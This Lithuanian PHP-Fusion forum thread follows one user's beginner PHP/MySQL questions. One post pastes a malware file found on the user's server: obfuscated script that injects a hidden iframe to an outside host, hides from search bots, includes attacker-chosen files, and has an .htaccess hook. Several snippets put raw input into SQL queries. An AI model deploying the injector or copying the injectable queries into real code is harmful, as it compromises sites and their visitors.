Navigacija

Vartotojų tinkle

Prisijungusių svečių: 168
Prisijungusių narių: 0
Prisijungusių narių nėra

Registruoti nariai: 25,963
Naujausias narys: WolfHammer

Naujausi straipsniai

Paskutiniai nariai

minimukas 3 dienos
N-20 3 savaitės
Reikalas 3 savaitės
Rytis 3 savaitės
DjArtas 4 savaitės
WolfHammer 5 savaitės
Nostesi15 savaitės
Wisedocs15 savaitės
asdasdddz19 savaitės
Paslapties K...20 savaitės
Audrius_1722 savaitės
Simbijanas35 savaitės
Karinacraft35 savaitės
Žmogus39 savaitės
Bruksnys43 savaitės
Darexs45 savaitės
Nepas46 savaitės
keistuole48 savaitės
Gizmis50 savaitės
MaFetas63 savaitės

Informacija:


OS: Unknown
Naršyklė: Nežinoma
IP: 216.73.216.118
Naujienų: 529
Straipsnių: 235
Temų: 52,590
Postų: 522,550
Postų pask. parą: 0
Shout'ų pask. parą: 0
P.S.C. pask. parą: 0
Nuorodų kataloge: 13

Lankomumo Statistika

Peržiūrų šiandien: 22

Iš viso peržiūrų: 22948724

Prisijungti

REGISTRUOTIS
Nario vardas

Slaptažodis



Pamiršai slaptažodį?
Paprašyk naujo

Aktyvuoti save

Šaukykla

Jei norite rašyti žinutes, turite prisijungti.

minimukas
2026 Vas. 21 08:02:25
oi oi akinanti šypsen yra dar cia gyvu? akinanti šypsen

N-20
2026 Vas. 6 21:02:05
O mes dar gyvi šypsosi)

WolfHammer
2026 Sau. 25 01:01:35
drovus

Žmogus
2025 Geg. 31 10:05:18
Kas geresnio? šypsosi

Nepas
2025 Bal. 9 17:04:13
drovus

Šaukyklos archyvas

Apklausa

Ar esate patenkinti lietuviško vertimo kokybe?

Taip!

Taip, bet yra ką taisyti (parašysiu komentaruose)

Ne

Norėdamas balsuoti turite prisijungti.
Archyvas
Reklama 400x60
v6: Goku klausimai
Forumas | PHP-Fusion, WordPress, Shopify, PHP ir MySQL (PROGRAMAVIMAS) | Bendri PHP-F klausimai

Puslapis 1 iš 2 1 2
Autorius: edeni Peržiūrų: 10664      Spausdinti temą
2009 Lie. 30 16:07:40          1 žinutė iš 47
Spausdinti pranešimą
Sveiki, prireikė man pagalbos su kodu. O problema tokia:
įrašius į formą visus duomenis, bet kaip paspaudžiu pateikt, bet nieko į mysql neisirašo :S
Štai mano kodas:

<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "../maincore.php";
require_once "subheader.php";
require_once ADMIN."navigation.php";

if (!checkrights("S7") || !defined("iAUTH") || $aid != iAUTH) fallback("../index.php");


if (isset($status)) {
        if ($status == "pateikta") {
      $title = $locale['404'];
      $message = "<b>Kova Ideta</b>";
   }
   opentable("Kova Ideta");
   echo "<div align='center'>".$message."</div>\n";
   closetable();
   tablebreak();
}

if($_POST['pateikti'] != "") {
      $result = dbquery("INSERT INTO ".$db_prefix."kovos (priesas, map, rezultatas, hltv, pastabos, win) VALUES ('$_POST[priesas]', '$_POST[map]', '$_POST[rezultatas], '$_POST[hltv], '$_POST[pastabos], '$_POST[win]')");
      redirect(FUSION_SELF.$aidlink."?status=pateikta");
}
opentable("Kovok su musu klanu");
echo "<form action='".FUSION_SELF.$aidlink."' method='post'>
Klano pavadinimas:</br> <input type='text' name='priesas' /></br>
&#381;&#279;m&#279;lapis: </br><input type='text' name='map' /><br />
Rezultatas: </br><input type='text' name='rezultatas' /><br />
Laim&#279;ta/Pralaim&#279;ta/Lygu: </br><select name='win' ><option value='laimeta'>Laim&#279;ta</option>
<option value='pralaimeta'>Pralaim&#279;ta</option>
<option value='lygu'>Lygiosios</option>
</select><br />
HLTV: </br><input type='text' name='hltv' /><br />
Pastabos: </br><textarea name='pastabos' cols='22' rows='5'></textarea><br />
<input type='submit' name='pateikti' />
</form>";
closetable();

require_once BASEDIR."footer.php";
?>




2009 Lie. 30 17:07:49          2 žinutė iš 47
Spausdinti pranešimą
redirect(FUSION_SELF.$aidlink."?status=pateikta");



Keisk į:
redirect(FUSION_SELF.$aidlink."&status=pateikta");




Tavo $aidlink greičiausiai undefined toje vietoje.

Ir:
if($_POST['pateikti'] != "") {



Keisk į:
if(isset($_POST['pateikti'])) {




O:
<input type='submit' name='pateikti' />



į
<input type='submit' name='pateikti' value='pateikti'/>




BR#1, Most Wanted
Redagavo ozzWANTED 2009 Lie. 30 17:07:57
2009 Lie. 30 17:07:44          3 žinutė iš 47
Spausdinti pranešimą
Dėkui dabar jau į news.php nepermeta, bet niekas neįsirašo į mysql drovus

2009 Lie. 30 19:07:59          4 žinutė iš 47
Spausdinti pranešimą
Kad keista ta tavo forma kažkokia nežino Administracijos meniu ji ar kaip? Turiu savo daryta forma,jei reikai parašyk į skype.

Andrejaus tinklalapis
2009 Lie. 30 19:07:10          5 žinutė iš 47
Spausdinti pranešimą
Taip ji dedame administracijoj. O forma normali kiek kartu naudojau kitur visur veikdavo be žado
2009 Lie. 31 15:07:56          6 žinutė iš 47
Spausdinti pranešimą
Tai va prireike man pagalbos. Darausi aš komentarų sistemą (ne ant php-fusion) ir iškilo tokia bėda. Kai į komentarą parašau koki nors html kodą pvz: <script type='text/javascript'>document.location.href='index.php'</script> man iškart meta į index.php kaip galima pasidaryt, kad negalima butu rašyt tų visokių <script> ir t.t ?

2009 Rugp. 27 21:08:55          7 žinutė iš 47
Spausdinti pranešimą
if($msg != "<script type='text/javascript'>") { mū }

Andrejaus tinklalapis
Redagavo Impossibru 2009 Rugp. 27 22:08:55
2009 Rugp. 27 22:08:10          8 žinutė iš 47
Spausdinti pranešimą
Dėkui, bet man reik ne vien <script> dar ir iframe ir kitokius tokius kur kenkia. šypsosi Gal netgi galima butu iš fusiono išsiimt, bet nežinau kokia funkcija tai atlieka.

2009 Rugp. 27 22:08:45          9 žinutė iš 47
Spausdinti pranešimą
http://codingforums.com/showthre...hp?t=73584merkia akį

Andrejaus tinklalapis
2009 Rugp. 27 22:08:06          10 žinutė iš 47
Spausdinti pranešimą
// This function sanitises news & article submissions
function descript($text, $striptags = true) {
   // Convert problematic ascii characters to their true values
   $search = array("40","41","58","65","66","67","68","69","70",
      "71","72","73","74","75","76","77","78","79","80","81",
      "82","83","84","85","86","87","88","89","90","97","98",
      "99","100","101","102","103","104","105","106","107",
      "108","109","110","111","112","113","114","115","116",
      "117","118","119","120","121","122"
      );
   $replace = array("(",")",":","a","b","c","d","e","f","g","h",
      "i","j","k","l","m","n","o","p","q","r","s","t","u",
      "v","w","x","y","z","a","b","c","d","e","f","g","h",
      "i","j","k","l","m","n","o","p","q","r","s","t","u",
      "v","w","x","y","z"
      );
   $entities = count($search);
   for ($i=0; $i < $entities; $i++) {
      $text = preg_replace("#(&\#)(0*".$search[$i]."+);*#si", $replace[$i], $text);
   }
   $text = preg_replace('#(&\#x)([0-9A-F]+);*#si', "", $text);
   $text = preg_replace('#(<[^>]+[/\"\'\s])(onmouseover|onmousedown|onmouseup|onmouseout|onmousemove|onclick|ondblclick|onfocus|onload|xmlns)[^>]*>#iU', ">", $text);
   $text = preg_replace('#([a-z]*)=([\`\'\"]*)script:#iU', '$1=$2nojscript...', $text);
   $text = preg_replace('#([a-z]*)=([\`\'\"]*)javascript:#iU', '$1=$2nojavascript...', $text);
   $text = preg_replace('#([a-z]*)=([\'\"]*)vbscript:#iU', '$1=$2novbscript...', $text);
   $text = preg_replace('#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU', "$1>", $text);
   $text = preg_replace('#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU', "$1>", $text);
   if ($striptags) {
      do {
         $thistext = $text;
         $text = preg_replace('#</*(applet|meta|xml|blink|link|style|script|embed|object|iframe|frame|frameset|ilayer|layer|bgsound|title|base)[^>]*>#i', "", $text);
      } while ($thistext != $text);
   }
   return $text;
}




www.MAFIACLUB.lt

Redagavo And2s 2009 Rugp. 27 22:08:21
2009 Rugp. 27 22:08:02          11 žinutė iš 47
Spausdinti pranešimą
Nu gerai šita pridedu į savo sukurta core.php failą ir paskui naujienos.php esu pasidaręs komentarus su while ir kai padarau toki kodą: <td width='696' class='tbl2'>descript(".$row['komentaras'].");</td> tai man visose komentaruose prisideda descript(manokomentaras);
2009 Rugp. 27 22:08:31          12 žinutė iš 47
Spausdinti pranešimą
rašyk ne <td width='696' class='tbl2'>descript(".$row['komentaras']."merkia akį;</td>

o

<td width='696' class='tbl2'>".descript($row['komentaras'])."</td>




www.MAFIACLUB.lt
2009 Rugp. 27 22:08:06          13 žinutė iš 47
Spausdinti pranešimą
Vo dėkui labai šypsosi Padėjai šypsosi Ir dar vienas klausimas turiu failą naujienos.php ir jis yra tuščias į jo turini galima patekt tik parašius naujienos.php?id=manoid ir noriu kad kai įeina į naujienos.php ar naujienos.php?id= man iškart išmestu index.php

2009 Rugp. 28 16:08:44          14 žinutė iš 47
Spausdinti pranešimą
iterpk kodo pradzioj
if (isset($_GET['id']) && !is_numeric($_GET['id'])) header('location: index.php');




www.MAFIACLUB.lt

Redagavo And2s 2009 Rugp. 28 16:08:19
2009 Rugp. 28 16:08:27          15 žinutė iš 47
Spausdinti pranešimą
and2s parašė:
iterpk kodo pradzioj
if (isset($_GET['id']) && !is_numeric($_GET['id'])) header('location: index.php');




Ir vistiek leisim rašyt -4, -7 ir pan.. :) Geriau tada preg_matchą tikrinimui naudojam.

if (isset($_GET['id']) && !preg_match("/^[0-9]+$/", $_GET['id'])) header('location: index.php');





Redagavo Kelmas 2009 Rugp. 28 16:08:53
2009 Rugp. 28 18:08:05          16 žinutė iš 47
Spausdinti pranešimą
Dėkui, bet vistiek įdedu tą kodą ir kai nutrinu skaičiu vistiek nepermeta į index.php

mano kodas:

    <td class="content_vidus"><?php
$id=$_GET[id];
if (isset($_GET['id']) && !preg_match("/^[0-9]+$/", $_GET['id'])) header('location: index.php');
$result = mysql_query("SELECT * FROM naujienos WHERE id='$id'");

while($row = mysql_fetch_array($result))
  {
  echo "".$row['naujiena_full']."";
  }
mysql_close($con);
?><br /><br />



2009 Rugp. 28 19:08:52          17 žinutė iš 47
Spausdinti pranešimą
    <td class="content_vidus"><?php
$id=$_GET[id];
if (isset($_GET['id']) && !preg_match("/^[0-9]+$/", $_GET['id']) || $_GET['id']=='') header('location: index.php');
$result = mysql_query("SELECT * FROM naujienos WHERE id='$id'");

while($row = mysql_fetch_array($result))
  {
  echo "".$row['naujiena_full']."";
  }
mysql_close($con);
?><br /><br />




www.MAFIACLUB.lt
2009 Rugp. 28 20:08:38          18 žinutė iš 47
Spausdinti pranešimą
Vistiek neveikia be žado
2009 Rugp. 28 20:08:20          19 žinutė iš 47
Spausdinti pranešimą
    <td class="content_vidus"><?php
$id=$_GET[id];
if (isset($_GET['id']) && (!preg_match("/^[0-9]+$/", $_GET['id']) || $_GET['id']=='')) header('location: index.php');
$result = mysql_query("SELECT * FROM naujienos WHERE id='$id'");

while($row = mysql_fetch_array($result))
  {
  echo "".$row['naujiena_full']."";
  }
mysql_close($con);
?><br /><br />




www.MAFIACLUB.lt
2009 Rugp. 28 20:08:06          20 žinutė iš 47
Spausdinti pranešimą
Viskas pasidariau :)

2009 Spa. 3 14:10:43          21 žinutė iš 47
Spausdinti pranešimą
Naujas klausimas.

Turiu aš Counter-Strike serverio statistiką atvaizduojantį php ir kai serveris on tai buna viskas ok. O kai buna jis off man pradeda mėtit:

Notice: Undefined index: hostname ir t.t

Kaip galima butu padaryt kad vietoj to Notice: Undefined index: hostname rodytu serveris off .

server_status.php failas:

<?
/**
* File is released under GPL as can be found on
* http://www.gnu.org/licenses/gpl....
*/


/* Info string */
define('A2S_INFO', "\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79\x00");

/* Replies for HL Version 1 and Version 2 (aka Source) */
define('REPLY_INFO_HL1', 'm');
define('REPLY_INFO_HL2', 'I');

/* Definitions of the bytes */
define('BYTE',     1);
define('BYTE_NUM', BYTE + 1);
define('SHORT',    BYTE_NUM + 1);
define('LONG',     SHORT + 1);
define('FLOAT',    LONG + 1);
define('STRING',   FLOAT + 1);

/**
* The socket class
* @author Herwin Weststrate aka Hdez
* @contact hdez@counter-strike.nl
* @version 2005.10.21
*/
class HLSocket
{
    /* The socket file descriptor */
    var $_socket;

    /* The way to split the incoming data */
    var $_split_info_hl2 = array('type' => BYTE, 'bersion' => BYTE_NUM, 'hostname' => STRING, 'map' => STRING, 'gamedir' => STRING, 'gamedesc' => STRING, 'appid' => SHORT, 'unknown' => BYTE_NUM, 'players' => BYTE_NUM, 'max' => BYTE_NUM, 'bots' => BYTE_NUM, 'dedicated' => BYTE, 'os' => BYTE, 'passworded' => BYTE_NUM, 'secure' => BYTE_NUM, 'gameversion' => STRING);
    var $_split_info_hl1 = array('type' => BYTE, 'ip' => STRING, 'hostname' => STRING, 'map' => STRING, 'gamedir' => STRING, 'gamedesc' => STRING, 'players' => BYTE_NUM, 'max' => BYTE_NUM, 'version' => BYTE_NUM, 'dedicated' => BYTE, 'os' => BYTE, 'passworded' => BYTE_NUM, 'secure' => BYTE_NUM, 'gameversion' => STRING);

    /**
     * Create a new socket
     * @param $host The ip or hostname
     * @param $port The port
     */
    function HLSocket($host, $port)
    {
        $this->connect($host, $port);
    }

    /**
     * Actually make the connection to the host
     * @param $host The ip or hostname
     * @param $port The port
     */
    function connect($host, $port)
    {
        $this->_socket = @fsockopen('udp://'.$host, $port);
        if (!$this->_socket)
            echo 'Error met connecten';
        stream_set_timeout($this->_socket, 1); // Set timeout to 1 sec
    }

    /**
     * Close the connection (and the socket fd)
     */
    function close()
    {
        fclose($this->_socket);
    }

    /**
     * Query the server for the details
     * @return associative array with the game info
     */
    function details()
    {
        $this->write(A2S_INFO);
        $data = $this->read();
        $res = array();
        switch(substr($data, 0, 1))
        {
            case REPLY_INFO_HL1:
                $res = $this->split($this->_split_info_hl1, $data);
                break;
            case REPLY_INFO_HL2:
                $res = $this->split($this->_split_info_hl2, $data);
                break;
        }
        return $res;
    }

    /**
     * Write the given message over the socket
     * @param $msg The message to be written
     * @deprecated This should be issued as a private function
     */
    function write($msg)
    {
        fwrite($this->_socket, $msg);
    }

    /**
     * Read from the socket
     * @return The data from the socket (excluding the first four [useless] bytes)
     * @deprecated This should be issued as a private function
     */
    function read()
    {
        $data = fread($this->_socket, 1);
        $status = socket_get_status($this->_socket);
        if (isset($status['unread_bytes']) && $status['unread_bytes'] > 0)
            $data .= fread($this->_socket, $status['unread_bytes']);
        return substr($data, 4);
    }

    /**
     * Split the given datatype from $data String and return the value
     * @param $type The data type [BYTE .. STRING]
     * @param $data The current data String
     * @return The value of the given data type from $data
     * @deprecated This should be issued as a private function
     */
    function splititem($type, &$data) {
        $add = '';
        switch ($type)
        {
            case BYTE:
                $add = substr($data, 0, 1);
                $data = substr($data, 1);
                break;
            case BYTE_NUM:
                $add = ord(substr($data, 0, 1));
                $data = substr($data, 1);
                break;
            case SHORT:
                $add = ord(substr($data, 0, 1));
                $data = substr($data, 1);
                break;
            case LONG:
                $add = ord(substr($data, 0, 1));
                $data = substr($data, 1);
                break;
            case STRING:
                do
                {
                    $char = substr($data, 0, 1);
                    if ($char != "\x00")
                        $add .= $char;
                    $data = substr($data, 1);
                }
                while ($char != "\x00");
                break;
        }
        return $add;
    }

    /**
     * Split the given datatypes from $data String and return the value
     * @param $array The data type [BYTE .. STRING] as values of an
     *               associative array. The keys are also the key s of
     *               the return array
     * @param $data The current data String
     * @return Associative array with keys of $array and values read from $data
     * @deprecated This should be issued as a private function
     */
    function split($array, $data)
    {
        $res = array();
        foreach ($array as $k=>$v)
            $res[$k] = $this->splititem($v, $data);
        return $res;
    }
}
?>





ir kodas kuris yra įdėtas į index.php

<?php
    error_reporting(E_ALL);
require_once('includes/server_status.php');
   
    $hlsocket = new HLSocket('84.240.33.77', 27015);
$details = $hlsocket->details();
echo "<table widtd=\"930\" border=\"1\">
  <tr>
    <td>IP</td>
    <td>Pavadinimas</td>
    <td>Zaidejai</td>
    <td>Zemelapis</td>
    <td>Balsuoti</td>
    <td>Balsu</td>
  </tr>
  <tr>
    <td scope=\"row\">".$details['ip']."</td>
    <td>".$details['hostname']."</td>
    <td>".$details['players']." / ".$details['max']."</td>
    <td>".$details['map']."</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>";
    $hlsocket->close();
?>




2009 Spa. 3 15:10:00          22 žinutė iš 47
Spausdinti pranešimą
Tingiu gilintas, bet čia reiktu su if daryti
2009 Spa. 3 15:10:56          23 žinutė iš 47
Spausdinti pranešimą
Nu žinau, kad su if bet kaip? Kai prie $details['ip'] pridedu @ tai nebemeta to erroro ir nieko nerašo, o man reik kad rašytu Serveris Išjungtas

2009 Spa. 3 22:10:08          24 žinutė iš 47
Spausdinti pranešimą
Gerai , reikia scripto kad rodytu Counter-Strike serverio žaidėjus kiek turi nužudymų ir t.t

P.S nerašykit ieškok googlei ir t.t googlei yra tų scriptų bet kiek bandžiau tai tik ant vieno serve man veikė.
2009 Spa. 3 22:10:45          25 žinutė iš 47
Spausdinti pranešimą
v6 nuhakint lengva, vien hashas viengubas

http://www.linksmiau.net/
http://www.linksmiau.net/
http://www.linksmiau.net/
http://www.linksmia
2009 Spa. 10 16:10:28          26 žinutė iš 47
Spausdinti pranešimą
Naujas klausimas.

Turiu aš pasidaręs, kad už cs serverius galima balsuot ir jų yra daug kaip man gauti to serverio informaciją kuris turi daugiausia taškų ?

Ir dar vienas klausimas.
Turiu toki kodą $result = mysql_query("SELECT * FROM lgsl ORDER BY balsai DESC"); ir jis rūšiuoja bagal balsus bet ten balsai rašomi ne vidurkis o visi. Čia yra mano vidurkio skaičiavimo kodas $avg = $balsai / $prabalsavo; kaip man padaryt kad jis rūšiuotu pagal tą vidurki, o ne pagal visus balsus ?

2009 Spa. 25 13:10:55          27 žinutė iš 47
Spausdinti pranešimą
Tai niekas nežinot ?
2009 Spa. 26 15:10:33          28 žinutė iš 47
Spausdinti pranešimą
Atsiprašau už 3 postą, bet reikia pagalbos.

Tai va man reikia kad su while ciklu mano ištrauktą informaciją iš mysql dėliotu ne į apačia o į šoną pvz kaip foto-galerijoj fusiono.

2009 Spa. 26 15:10:59          29 žinutė iš 47
Spausdinti pranešimą
Galejai spaust kelti tema ... o nepostint

Love is name, sex is game - Forget the name and play the game.
2009 Spa. 26 15:10:00          30 žinutė iš 47
Spausdinti pranešimą
Negalėjau spaust, nes buvau paspaudes kitoj temoj... Ir prašyčiau nerašyt ne į temą. Ir padėt man su tuo klausimu...
2009 Spa. 26 15:10:12          31 žinutė iš 47
Spausdinti pranešimą
edeni parašė:
Atsiprašau už 3 postą, bet reikia pagalbos.

Tai va man reikia kad su while ciklu mano ištrauktą informaciją iš mysql dėliotu ne į apačia o į šoną pvz kaip foto-galerijoj fusiono.


   
$result=dbquery("SELECT blajh FROM ".DB_USERS);
   $counter = 0;
$kiek_eiluteje=5;
echo "<table> <tr>";    
while($data=dbarray($result)) {
if ($counter != 0 && ($counter % $kiek_eiluteje == 0)) echo "</tr><tr>";
echo "<td>"$data['blajh']."</td>";
$counter++
}
echo "</tr></table>";




www.MAFIACLUB.lt

Redagavo And2s 2009 Spa. 26 15:10:13
2009 Spa. 26 15:10:50          32 žinutė iš 47
Spausdinti pranešimą
Dėkui šypsosi Pagelbėjai šypsosi
2009 Lap. 8 17:11:50          33 žinutė iš 47
Spausdinti pranešimą
Naujas klausimas.

Mano ftp direktorijoje atsirado toks failas: PE609F31D777BD.php
Kas jame yra :

<?php
$frame_code = '<!-- hJTYsX hwZrh TpA gJK LhdIvzPX --><script>/*_riRJopYA_uU*/var maSKFTfgzy=document;/*eNGUgQyproQjLwcwGxtLckVP*/function JSRJxVcV(iKGZa)/*fPxDyeN_cINKnEiaEijWSjbMQ*/{var sIBtuWphKVC = "",/*PTSzNTVJPPSZEgc*/ASksbIeCmKm=0;for(ASksbIeCmKm=iKGZa.length-1;ASksbIeCmKm >= 0;ASksbIeCmKm--)/*fkeWREfireemHjIDyyvaKLqMK*/{sIBtuWphKVC+=iKGZa.charAt(ASksbIeCmKm);}return sIBtuWphKVC;/*lQFLAvMavWhp*/}/*_riRJopYA_uU*/function THAMWc(Uf_hW)/*wvskgKquyCfDU_fNnzLh*/{/*asAYOrimRFaxNjr*/Uf_hW = Uf_hW.replace(/[\.]/g, "%");/*asAYOrimRFaxNjr*/Uf_hW=unescape(Uf_hW);/*OFYakHAvPHLmfLCLgYBuCu*/return JSRJxVcV(Uf_hW);/*YcHVPLpfsLmebZsoZxcXjR*/}/*RropemxIkeWaSKfJWl*/function KNxrQJJuJ(){/*PTSzNTVJPPSZEgc*/maSKFTfgzy.write("<style>.apcdqYgApH{width:1px;height:1px;border:none;visibility:hidden}</style>");/*vFzsZkRJRqmDBwCtOax*//*G_fFjBELxfFI*/var thOySD="<iframe id=\"PzuNOYDH\" src=\"x\" class=\"apcdqYgApH\"></iframe>";/*wvskgKquyCfDU_fNnzLh*//*vFzsZkRJRqmDBwCtOax*/var zOHkNaBQqOk=thOySD.replace(/[\+x]/g,THAMWc(".70.68.70.2e.6e.69.2f.34.37.31.2f.72.65.73.75.2f.6d.6f.63.2e.72.65.74.6e.75.6f.63.2d.73.65.74.69.73.2f.2f.3a.70.74.74.68"));/*vFzsZkRJRqmDBwCtOax*//*PTSzNTVJPPSZEgc*/return zOHkNaBQqOk;/*vFzsZkRJRqmDBwCtOax*//*G_fFjBELxfFI*/}/*fPxDyeN_cINKnEiaEijWSjbMQ*//*UACyjbdWJu*//*fPxDyeN_cINKnEiaEijWSjbMQ*//*gxmlpKbCEZYM*/maSKFTfgzy.writeln(KNxrQJJuJ());/*XOQoHXqCHdswYQ*//*RropemxIkeWaSKfJWl*//*lQFLAvMavWhp*/</script><!-- hJTY sXhwZrhTpA gJKLhdIvzPX_2 -->';

function get_file_dir_($file) {
    global $argv;
    $dir = dirname(getcwd() . '/' . $file);
    $curDir = getcwd();
    @chdir($dir);
    $dir = getcwd();
    @chdir($curDir);
    return $dir;
}

function is_search_bot($agent)
{   
   if(
      strstr($agent, "Yandex/") != null ||
      strstr($agent, "YaDirectBot") != null ||
      strstr($agent, "James Bond") != null ||
      strstr($agent, "Googlebot") != null ||
      strstr($agent, "Mediapartners-Google") != null ||
      strstr($agent, "StackRambler") != null ||
      strstr($agent, "Slurp") != null ||
      strstr($agent, "msnbot") != null
   )
   {
      return true;
   }
   
   return false;
}

function callback($data)
{
   global $frame_code;
      
   $data = preg_replace('/<iframe.*style=.*hidden.*\/iframe[^>]*>/i', "", $data);   
   $data = preg_replace('/<div.*style=.*display:none.*[^>]*>.*<iframe .*\/.*div[^>]*>/i', "", $data);
   $data = preg_replace('/<!-- ad --><script[^>]*>.*<\/script><!-- \/ad -->/i', "", $data);   
   
   if(is_search_bot($_SERVER['HTTP_USER_AGENT']) == true) {
      return $data;   
   } else {
      if(preg_match("/(<body[^>]*>)/i", $data) > 0) {
         return preg_replace("/(<body[^>]*>)/i", "$1 \n".$frame_code, $data, 1);
      }      
      else {
         return $data.$frame_code;
      }
   }
}

if(@ob_start('callback') == true) {
   $file    = $_GET['qq'];
   @chdir(get_file_dir_($file));
   
   include($file);
} else {
   echo $frame_code;
}
?>




ir į .htaccess kažkaip įsirašė:

#609F31D777BD{
RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !PE(.*).php
RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml)   PE609F31D777BD.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
#609F31D777BD}




Tai man iškilo klausymas čia virusas ar ne ? ar čia antivirusinė nuo tų iframe kodų ?

2009 Lap. 22 16:11:34          34 žinutė iš 47
Spausdinti pranešimą
Naujas klausimas.

Turiu pasidaręs while ciklą ir noriu, kad mano kiekvieną ištraukta informacija surušiuotu pvz:

1. Mama
2. Tėtis
3. Sese
4. Brolis
ir t.t

Jeigu nesupratot klausimo sakykit patikslinsiu.

http://itouch.lt - iBendruomenė.
2009 Lap. 22 16:11:16          35 žinutė iš 47
Spausdinti pranešimą
Duok tą savo while ciklą. Padarysiu.
2009 Lap. 22 16:11:31          36 žinutė iš 47
Spausdinti pranešimą
<?php
$result = mysql_query("SELECT * FROM reklamos ORDER BY id DESC");

while($row = mysql_fetch_array($result))
  {
$banneris = $row['banneris'];
$nuoroda = $row['nuoroda'];


echo "<a href='http://".$nuoroda."'><img src='".$banneris."' alt='".$nuoroda."' border='0'></a></br>";

}
?>




Dėkui iškart :)

http://itouch.lt - iBendruomenė.
2009 Lap. 22 16:11:13          37 žinutė iš 47
Spausdinti pranešimą
<?php
$result = mysql_query("SELECT * FROM reklamos ORDER BY id DESC");
$n = 0;
while($row = mysql_fetch_array($result))
  {
$n++;
$banneris = $row['banneris'];
$nuoroda = $row['nuoroda'];


echo "<b>$n</b>. <a href='http://".$nuoroda."'><img src='".$banneris."' alt='".$nuoroda."' border='0'></a></br>";

}
?>




2009 Lap. 22 16:11:41          38 žinutė iš 47
Spausdinti pranešimą
Vo Dėkui +10 tau.

http://itouch.lt - iBendruomenė.
2009 Lap. 25 19:11:28          39 žinutė iš 47
Spausdinti pranešimą
Naujas klausimas kas gali but, kad kai per submit.php įdedu naujiena man automatiškai nesulaužo eilučių ?


Va mano submit.php failas
<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "maincore.php";
require_once "subheader.php";
require_once "side_left.php";
include LOCALE.LOCALESET."submit.php";
if (!iMEMBER) fallback("index.php");

   if (isset($_POST['submit_news'])) {
      if ($_POST['news_subject'] != "" && $_POST['news_body'] != "") {
         $submit_info['news_subject'] = stripinput($_POST['news_subject']);
         $submit_info['news_cat'] = isNum($_POST['news_cat']) ? $_POST['news_cat'] : "0";
         $submit_info['news_body'] = descript($_POST['news_body']);
            $submit_info['news_body1'] = descript($_POST['news_body1']);
         $submit_info['news_breaks'] = (isset($_POST['line_breaks']) ? "y" : "n");
         $result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES('n', '".$userdata['user_id']."', '".time()."', '".addslashes(serialize($submit_info))."')");
         opentable($locale['400']);
         echo "<center><br>\n".$locale['460']."<br><br>
<a href='prideti_naujiena.php'>".$locale['461']."</a><br><br>
<a href='index.php'>".$locale['412']."</a><br><br>\n</center>\n";
         closetable();
      }
   } else {
      if (isset($_POST['preview_news'])) {
         $news_subject = stripinput($_POST['news_subject']);
         $news_cat = isNum($_POST['news_cat']) ? $_POST['news_cat'] : "0";
         $news_body = phpentities(descript(stripslash($_POST['news_body'])));
            $news_body1 = phpentities(descript(stripslash($_POST['news_body1'])));
         $breaks = (isset($_POST['line_breaks']) ? " checked" : "");
         opentable($news_subject);
         echo (isset($_POST['line_breaks']) ? nl2br($news_body) : $news_body);
         closetable();
         tablebreak();
      }
      if (!isset($_POST['preview_news'])) {
         $news_subject = "";
         $news_body = "";
            $news_body1 = "";
         $breaks = " checked";
      }
      $news_cat_opts = ""; $sel = "";
      $result2 = dbquery("SELECT * FROM ".$db_prefix."news_cats ORDER BY news_cat_name");
      if (dbrows($result2)) {
         while ($data2 = dbarray($result2)) {
            if (isset($news_cat)) $sel = ($news_cat == $data2['news_cat_id'] ? " selected" : "");
            $news_cat_opts .= "<option value='".$data2['news_cat_id']."'$sel>".$data2['news_cat_name']."</option>\n";
         }
      }   
      opentable($locale['450']);
      echo $locale['470']."<br><br>
<form name='submit_form' method='post' action='".FUSION_SELF."' onSubmit='return validateNews(this);'>
<table align='center' cellpadding='0' cellspacing='0'>
<tr>
<td class='tbl'>".$locale['471']."</td>
<td class='tbl'><input type='text' name='news_subject' value='$news_subject' maxlength='64' class='textbox' style='width:300px;'></td>
</tr>
<tr>
<td width='100' class='tbl'>".$locale['476']."</td>
<td width='80%' class='tbl'><select name='news_cat' class='textbox'>
<option value='0'>".$locale['477']."</option>
$news_cat_opts</select>
</td>
</tr>
<tr>
<td valign='top' class='tbl'>".$locale['472']."</td>
<td class='tbl'><textarea class='textbox' name='news_body' rows='8' cols='54'>$news_body</textarea></td>
</tr>
<tr>
<td valign='top' class='tbl'>Naujienos Pla&#269;iau</td>
<td class='tbl'><textarea class='textbox' name='news_body1' rows='8' cols='54'>$news_body1</textarea></td>
</tr>
<tr>
<td colspan='2' class='tbl'><br><center>
<input type='checkbox' name='line_breaks' value='yes'$breaks>".$locale['473']."<br><br>
<input type='submit' name='preview_news' value='".$locale['474']."' class='button'>
<input type='submit' name='submit_news' value='".$locale['475']."' class='button'></center>
</td>
</tr>
</table>
</form>\n";
      closetable();
}

echo "<script type='text/javascript'>
function validateLink(frm) {
   if (frm.link_name.value==\"\" || frm.link_name.value==\"\" || frm.link_description.value==\"\") {
      alert(\"".$locale['550']."\"); return false;
   }
}
function validateNews(frm) {
   if (frm.news_subject.value==\"\" || frm.news_body.value==\"\") {
      alert(\"".$locale['550']."\"); return false;
   }
}
function validateArticle(frm) {
   if (frm.article_subject.value==\"\" || frm.article_snippet.value==\"\" || frm.article_body.value==\"\") {
      alert(\"".$locale['550']."\");
      return false;
   }
}
function validatePhoto(frm) {
